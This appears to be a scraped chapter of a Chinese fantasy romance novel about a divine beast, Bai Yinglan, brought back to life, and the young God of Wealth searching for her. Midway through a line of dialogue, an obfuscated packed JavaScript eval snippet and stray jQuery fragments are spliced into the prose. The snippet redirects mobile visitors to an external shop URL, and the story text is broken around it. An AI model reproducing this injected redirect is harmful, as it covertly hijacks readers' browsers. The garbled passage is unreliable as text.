在瑞兽渊的日子,向来闲适安逸。
小风独自卧在青草丛间,舒展着羽翼。
耳畔忽然传来细碎响动,她心头一喜,瞬息化为人形坐起身,回头唤道:“璎婪姐姐?”
青鸾脚步一顿,眯起眼打趣:“你如今,连大哥都认不出了?”
“大哥,原来是你。”小风肩膀瞬间垮了下去,语气满是失落,“我还以为是璎婪姐姐回来了。”
青鸾环视四周,扫过周遭草木,开口问道:“白璎婪还没有回来?”
“是啊!”小风猛地蹦起身,神色焦灼,“她会不会遇上什么危险?”
“我来,正是要同你说一件事。”青鸾理了理衣袖,就地盘膝坐下。
小风也跟着坐下来:“什么事?”
青鸾指尖轻拂身侧破土而出的嫩芽,缓缓开口:“我为白璎婪重塑的,只是凡人肉身,并非貔貅真身。”
“那会如何?”小风好奇地凑过头去。
青鸾淡淡道:“她如今已没有貔貅灵力,一介凡躯,是回不得天界的。”
“啊?!哥,你怎么不早说!”小风猛地从地上站起身,恨不能即刻动身去寻白璎婪。
“先前一时未记起。”
“那现在该怎么办,我要去哪里找璎婪姐姐?”
青鸾却不理会她,侧身躺下,阖上双眼,一副悠然慵懒的模样:“我歇息片刻。”
“哥,你就不能帮帮我吗?”
“我乏了。”青鸾依旧闭着眼,“当真寻不到的时候,再来寻我。”
话音刚落,此起彼伏的鼾声便在山谷间回荡开来。小风望着他熟睡的俊容,轻轻叹了口气。
她暗自宽慰自己:“无妨,我与璎婪姐姐心有灵犀,定然很快便能找到她。”
就在这时,一道粗犷的嗓音远远传来。
“小风。”
“小风,你在不在?”
小风连忙站起身,四处张望:“是谁在喊我?”
“小风!”
“到底是谁?”
“你倒是往另一边瞧啊。”
小风闻声转头,只见树下立着一头威风凛凛的狻猊,青鸾的鼾声依旧悠悠飘在耳畔。
她认得这一身独有的毛色,正是少财神座下的狻猊。
狻猊本就罕见,如今对方突然造访,小风觉着甚为稀奇。
她努力回想对方的名字:“你是……金宝?”
金宝闻言颇为满意:“不错,还记得我。”
小风问道:“你不去跟着少财神,来瑞兽渊做什么?”
“我家少主有话要问你。”金宝开门见山。
“什么事?”
金宝上下打量她,暂且搁置赵玄章的嘱托,径直发问:“白璎婪,是你们救回来的?”
小风心头骤然一紧。
莫非赵玄章已经知晓璎婪姐姐死而复生?
她迅速敛去心绪,故作茫然反问:“这话是何意?璎婪姐姐不是早已魂飞魄散了吗?”
“少主在凡间见到她了。”金宝言简意赅。
小风本就一心挂念白璎婪,听闻消息,双目骤然发亮:“当真?她现在身在何处?”
“你这反应未免太过蹊跷。”金宝眯起眼眸,“若是白璎婪当真身死,你的第一反应该是难以置信,而非直接追问下落。”
小风咬了咬下唇,心中暗叹自己不擅说谎,却依旧不肯松口:“你怎能这般揣测,璎婪姐姐是我挚友,听闻此讯,我不过是欢喜过了头。”
金宝不愿与她纠缠,话锋一转,道明此行来意:“我今日前来,是奉少主之命,请你相助。”
“帮什么忙?”小风半信半疑。
“我们寻到了白璎婪,可她不愿与我家少主好好相处。”
小风听罢,悬着的心稍稍放下。
原来是璎婪姐姐不愿随赵玄章回去。
可她心中亦满是疑惑,赵玄章究竟是如何察觉璎婪姐姐尚在人世,又是如何寻到她踪迹的?
小风下了逐客令:“璎婪姐姐已经不在世间了,还请你劝你家少主,面对现实。”
金宝本想继续劝说,余光无意间扫过地上躺着的人影,一缕熟悉的灵气悄然漫开,他顿时恍然大悟。
“原来你大哥,便是青鸾。”
“是啊。”小风说得漫不经心。
金宝露出了然的笑意:“如此一来,一切便都说得通了。”
“什么说得通?”小风摆了摆手,“你回去转告少财神,人死不能复生,叫他不必再惦记璎婪姐姐。”
金宝目光牢牢落在那躺卧之人身上:“你大哥的本事,我可比你清楚得多。”
方才萦绕在空气里的鼾声已然消散。
小风想起璎婪姐姐曾经提起过,金宝年岁远胜于她们二人,说是她们的太太太太爷都不为过。
这般说来,他与青鸾旧识,倒也不足为奇。
“我原先也以为人死不能复生,可他——”
金宝锐利的目光再度投向青鸾处,低声喃喃:“凤凰涅槃,浴火重生。”
小风当即反驳:“照你这么说,但凡凤凰皆可涅槃重生,那我为何做不到?”
“你没有你大哥那般慧根。”
金宝毫不留情,一句话戳破,惹得小风撅起嘴,扭过头去,满脸不服,不愿再搭理他。
随后他迈步上前,居高临下道:“青鸾,还要装睡到何时?”
地上的人忽然噗嗤一声笑出来,身躯随着笑意轻轻震颤。青鸾直起身,伸了一个大大的懒腰,调整好慵懒的坐姿,抬眸望来。
“狻猊,对我家小妹,不必这般严苛。”
金宝啧了一声:“你倒好,方才一直躺在这里看戏?”
“我本想好好歇上一会,反倒被你搅了好梦。”青鸾静静看向他。
“白璎婪,是你救的。”金宝直截了当。
“是。”
小风急忙出声阻拦:“哥!”
“我与狻猊相识多年,此事瞒不过他。”青鸾明白,再遮掩已是无用。
“你如今,竟敢违逆天道?”金宝话语暗藏深意。
青鸾避开他的视线,轻轻叹息:“世事流转,沧海桑田。当年没能救活你的旧主,我心中一直有愧。”
“旧事不必再提。”金宝早已褪去少年时的悲恸执念,“如今我只愿恪尽职守,辅佐我今生的主人。”
青鸾心中微动,朝小风递去一个眼色。
小风内心百般纠结。
该如何是好?
若是将实情告知赵玄章,或许便能寻回璎婪姐姐。
可璎婪姐姐的心意十分明确,分明不愿回到赵玄章身边。可另一件事更为棘手,璎婪姐姐如今失去貔貅灵力,若是身在凡间遭遇凶险,连逃回天界的退路都没有。
反复权衡过后,她心中有了决断。
璎婪姐姐的安危,才是重中之重。
小风开口道:“你们是想让我劝说璎婪姐姐,随少财神回去?”
金宝颔首:“少主本意,的确如此。”
“可若是璎婪姐姐不愿,你们也不能强迫她回来。”
话音未落,身侧树丛忽然传来一阵异动。
小风警觉回眸,四下扫视一番,并未看见人影,只当是风吹草木,又转头对着金宝继续说道:“还有一事,璎婪姐姐如今没有貔貅灵力,无法独自返回天界……”
窸窸窣窣的响动再度响起,茂密的枝叶被硬生生拨开,一道男子身影仓促从树丛间挤了出来,肩头与衣襟上沾着好几片落叶。
小风吓得惊呼一声,猛地跳开,慌忙躲到青鸾身后。
金宝见状,无奈抬手掩住眉眼:“少主,你就不能登场得体面一些吗?”
小风松了口气:“原来是少财神。”
赵玄章抬手草草拂去衣上褶皱,来不及整理往日一丝不苟的仪容,俊朗的面庞之上尽是掩不住的忧心。
“方才所言,璎婪回不来?”
小风:“……”
赵玄章当即返回康黎的染坊,却被告知白璎婪离开了。
至于白璎婪的去向,康黎反问他一句:“你觉得这次,我有可能会知道吗?”
失去方向的寻找只会是大海捞针,赵玄章只好先回承光殿。
“你们说,白璎婪明明知道自己也回不了天界,却还是执意不肯跟我走!”
赵玄章嗓音紧绷,“她就这般厌烦我,宁可滞留凡间,也不愿再见我一面?”
他抬眼看向身侧二人,声音低了下去,“死而复生这么大的事,她半句不提,不寻我、不告诉我。我真的不知道,在她心底,是否仍有我的一席之地……”
金铃从未见过老大这般低落,只呆呆怔在原地,听他慢慢说完。
赵玄章归来脱口而出的那句“招招活着”,还让他如梦似幻。
“老大,你在说什么啊?”金铃挠着头,满眼茫然,“招招已经不在了,你什么时候才能放下执念?”
赵玄章默然蜷在角落,周身气压低沉。
金宝见状无奈现身,为金铃解惑:“是青鸾出手,暗中护住了白璎婪残存的魂魄,以自身涅槃之术逆天而行,助她死而复生。”
“青鸾?小风姐姐的大哥?”
“正是。”金宝微微颔首,“他修行年岁只略小于我,本事深不可测。”
“那这么说……招招是真的活着?!”
金铃瞬间双目大亮,快步冲上前死死攥住赵玄章的衣袖,语调激动得几近破音。
“太好啦!!招招没死!!”
可这份雀跃并未焐热赵玄章半分。
他垂着眼,声音带着埋怨酸涩,“但她不肯回到我身边。”
金铃闻言,缓缓松开手,长长叹了口气。
“换做是我,我也不会回来。谁愿意重回曾经让自己丢过性命的地方?”
简简单单一句话,让赵玄章心口苦涩肆意蔓延。
他指尖微僵,低声辩驳:“我后来……早就不一样了。”
“可伤害已经留下了。”金铃轻声道,“终究只是后来,弥补不了当初。”
“好了。”
金宝适时出声打断,“正所谓,往之不谏,来者可追。当下最要紧的,是想办法化解少主与璎婪之间的隔阂,和好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882918|202454||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如初。”
和好如初。
短短四字,落在赵玄章心头,却重若千钧。
他拖着一身颓靡疲惫的身躯,缓缓落座案前。
满桌堆积的公文错落堆叠,皆是这些时日他怠于处理的要务,承光殿早已数次收到仙家投诉。
纷乱公务满心愁绪交织缠绕,更为他增添几分烦躁。
赵玄章蹙紧眉宇,抬手整理凌乱案牍,打算暂且压下心事处理正事。
指尖翻动间,一个熟悉的名字蓦然映入眼帘——涟川。
他依稀记得,昔日涟川获罪被贬,沦为一方微不足道的河中小神,驻守在河畔一间破败荒庙。
今日却接连递来折子,想来是遇上了蹊跷事。
赵玄章随手展开帛书,纸上只有寥寥一行短句:一女子徘徊河畔,扰乱庙宇香火。
这般鸡毛蒜皮的小事,也值得再三上疏?
他鼻尖溢出一声浅淡嗤笑,本欲随手搁置,指尖动作却骤然一顿。
璎婪久居天界,凡间熟识之人寥寥无几,若她流落人间,最有可能流连的,便是这些旧地。
往来的客栈、涟川的荒庙,都可能是白璎婪会去的地方。
还有……醉霄楼。
醉霄楼三字浮现脑海的刹那,赵玄章心头一紧,莫名生出几分慌乱。
那是他此生最厌的喧闹浮华之地。
她如今孤身流落凡间,无拘无束,会不会……又去了那个地方?
思绪越往下深究,他心底的不安便越甚,再也坐不住半分。
褪去貔貅灵力的白璎婪,不过是个心性纯粹、不谙凡间险恶的普通姑娘。世间风霜人心叵测,没有貔貅灵力护持,只会让她更容易遭遇凶险。
一念及此,无尽后怕席卷而来。
赵玄章疲惫地按了按发胀的太阳穴,快速对金铃吩咐好殿中事宜,再无半分耽搁,身形转瞬破空,再次奔赴凡间。
……
昔日那座破败小庙已不复存在,河畔取而代之的是一间修缮一新的庙宇,静静伫立在潺潺流水之畔。
这里早已今非昔比,往来百姓络绎不绝,殿内香火袅袅,哪里有半分被搅扰的模样。
赵玄章走入庙中,四下打量,却没有探得半点异样。
看来,是涟川谎报了。
他转身正要离去,身后忽然传来一声惊疑的呼喊:“少财神?!”
涟川一身光鲜锦袍,快步走上前来迎他。
“涟川?”
“少财神,你可算来了!”
“少财神”三个字入耳,周遭香客纷纷投来好奇的目光,频频侧目打量赵玄章。涟川见状,连忙引着他往僻静处走去。
涟川态度毕恭毕敬:“少财神,请随我到这边说话。”
赵玄章被他这般恭谨的模样弄得颇不自在,开口道:“不必这般多礼,我瞧你这庙宇蒸蒸日上境况甚好,为何要屡次上书陈情?”
一说起这件事,涟川便如同打开了话匣子,滔滔不绝。
“其余仙官全都不理会我的禀奏,我只能试着求助你,果不其然,也只有你管事!”
赵玄章无奈苦笑,听他继续说道:“我日盼夜盼,总算是把你盼来了。”
“到底是何事,你细细说来。”
“有位女子,隔三差五便坐在庙前对着河水垂泪。我劝她入庙上香祈愿,她偏偏不肯。”
赵玄章听后苦笑不得:“难怪其余仙官不愿理会,这般小事,也值得你再三上书劳烦上神?”
“可她有碍庙宇颜面啊!”涟川振振有词,抬手朝河岸方向一指,“若是往来香客见她日日在此哭泣,误以为我这庙宇灵验不足,岂不是败坏我庙宇风水,断我财路?这可不是小事。”
赵玄章望着眼前人,淡淡笑了笑:“涟川,你倒是变了许多。”
涟川微微一怔,片刻便读懂了他话中深意,视线微微偏移,才缓缓开口:“若是不这般,我便永无出头之日。当然,也多亏你当年破除水鬼流言,百姓才肯踏足我这庙宇。”
他说着看了赵玄章一眼,“话说回来,你那寸步不离的白貔貅呢,这次只有你一人来?”
看样子,涟川是两耳不闻天界事。
“嗯。”赵玄章草草应答,很快转过话题,“那你的意思是,让我来管?”
涟川道:“如今我可是归你管辖,你不管谁管?”
“再看吧。”
赵玄章背过身去,寻思该如何向涟川问及白璎婪的下落,当时涟川见到的还不是人形时的她。
此时涟川上前道:“少财神来都来了,总不能见死不救吧?”
“那女子,多大年纪?”
涟川回忆道:“看着很年轻,二十上下吧。”
赵玄章又问:“她家里人呢?”
“我哪知道?”
“……”
“不过有一晚,我看见她不停地冲河里丢石子,还不时喃喃自语。”
赵玄章挑眉:“她说什么了?”
涟川再次认真思索起来。
“她说……照悬张,大坏蛋!”
赵玄章:“?”